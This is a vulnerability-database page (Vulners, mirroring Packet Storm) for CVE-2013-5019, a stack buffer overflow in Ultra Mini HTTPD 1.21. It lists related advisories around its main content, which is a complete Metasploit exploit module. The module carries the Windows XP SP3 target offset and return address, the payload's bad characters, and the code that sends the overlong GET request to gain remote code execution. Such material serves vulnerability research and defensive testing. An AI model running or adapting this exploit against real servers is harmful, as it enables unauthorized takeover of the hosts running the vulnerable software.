Lucene search
K

Ultra Mini HTTPD Stack Buffer Overflow

🗓️ 14 Aug 2013 00:00:00Reported by superkojimanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

Ultra Mini HTTPD Stack Buffer Overflow - Remote code execution via long HTTP request nam

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ultra Mini HTTPD Stack Buffer Overflow Vulnerability
15 Aug 201300:00
zdt
Circl
CVE-2013-5019
11 Jul 201300:00
circl
Check Point Advisories
Ultra Mini HTTPD Resource Name Request Handling Stack Buffer Overflow - Ver2 (CVE-2013-5019)
26 Mar 201500:00
checkpoint_advisories
CVE
CVE-2013-5019
31 Jul 201310:00
cve
Cvelist
CVE-2013-5019
31 Jul 201310:00
cvelist
Exploit DB
Ultra MiniHTTPd 1.2 - 'GET' Remote Stack Buffer Overflow (PoC)
17 Apr 201800:00
exploitdb
NVD
CVE-2013-5019
31 Jul 201313:20
nvd
OpenVAS
Ultra Mini HTTPD Stack Buffer Overflow Vulnerability
16 Jul 201300:00
openvas
Prion
Stack overflow
31 Jul 201313:20
prion
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",  
'Description' => %q{  
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21  
allowing remote attackers to execute arbitrary code via a long resource name in an HTTP  
request.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'superkojiman', #Discovery, PoC  
'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '95164'],  
['EDB','26739'],  
['CVE','2013-5019'],  
['BID','61130']  
],  
'Payload' =>  
{  
'Space' => 1623,  
'StackAdjustment' => -3500,  
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "thread"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'v1.21 - Windows XP SP3',  
{  
'Offset' => 5412,  
'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 10 2013',  
'DefaultTarget' => 0  
))  
end  
  
def exploit  
buf = rand_text(target['Offset'])  
buf << [target.ret].pack("V*")  
buf << payload.encoded  
  
print_status("Sending buffer...")  
send_request_cgi({  
'method' => 'GET',  
'uri' => "/#{buf}"  
})  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Aug 2013 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.81769
45